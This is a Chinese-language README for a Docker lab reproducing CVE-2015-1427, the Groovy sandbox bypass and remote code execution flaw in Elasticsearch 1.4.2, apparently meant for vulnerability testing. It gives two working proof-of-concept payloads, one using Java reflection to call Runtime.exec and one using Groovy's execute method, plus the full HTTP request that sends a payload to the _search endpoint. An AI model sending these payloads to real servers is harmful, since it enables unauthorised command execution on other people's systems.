ElasticSearch Groovy 沙盒繞過 && 代碼執行漏洞（CVE-2015-1427）測試環境

Path elasticsearch/CVE-2015-1427

• jre版本：openjdk:8-jre

• elasticsearch版本：v1.4.2

原理

參考文章：

• http://cb.drops.wiki/drops/papers-5107.html
• http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
• https://github.com/XiphosResearch/exploits
• http://cb.drops.wiki/drops/papers-5142.html

CVE-2014-3120后，ElasticSearch默認的動態腳本語言換成了Groovy，并增加了沙盒，但默認仍然支持直接執行動態語言。本漏洞：1.是一個沙盒繞過； 2.是一個Goovy代碼執行漏洞。

Groovy語言“沙盒”

ElasticSearch支持使用“在沙盒中的”Groovy語言作為動態腳本，但顯然官方的工作并沒有做好。lupin和tang3分別提出了兩種執行命令的方法：

1. 既然對執行Java代碼有沙盒，lupin的方法是想辦法繞過沙盒，比如使用Java反射
2. Groovy原本也是一門語言，于是tang3另辟蹊徑，使用Groovy語言支持的方法，來直接執行命令，無需使用Java語言

所以，根據這兩種執行漏洞的思路，我們可以獲得兩個不同的POC。

Java沙盒繞過法：

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接執行命令法：

def command='id';def res=command.execute().text;res

漏洞測試

編譯及運行測試環境

docker-compose build
docker-compose up -d

由于查詢時至少要求es中有一條數據，所以發送如下數據包，增加一個數據：

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

然后發送包含payload的數據包，執行任意命令：

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}